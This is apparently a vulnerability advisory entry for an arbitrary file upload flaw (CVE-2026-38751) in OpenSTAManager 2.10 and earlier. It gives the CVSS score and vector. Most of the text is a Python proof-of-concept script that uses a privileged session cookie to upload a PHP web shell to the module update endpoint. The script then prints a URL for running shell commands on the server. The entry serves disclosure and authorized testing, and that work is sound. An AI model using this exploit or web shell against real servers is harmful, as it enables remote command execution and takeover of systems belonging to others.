OpenSTAManager version 2.10 and earlier contains an arbitrary file upload vulnerability in the module update functionality (modules/aggiornamenti/upload_modules.php)
CVSS Details
CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
OpenSTAManager <= 2.10
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(url, session_cookie):
"""
PoC for CVE-2026-38751: Arbitrary File Upload
"""
upload_url = f"{url}/modules/aggiornamenti/upload_modules.php"
# Prepare the malicious PHP file payload
files = {
'module_file': ('exploit.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
# Cookies for high privilege authentication
cookies = {'PHPSESSID': session_cookie}
try:
response = requests.post(upload_url, files=files, cookies=cookies)
if response.status_code == 200:
print(f"[+] File uploaded. Check: {url}/uploads/exploit.php?cmd=whoami")
else:
print("[-] Upload failed.")
except Exception as e:
print(f"Error: {e}")
# Usage
# exploit('http://target', 'your_session_id')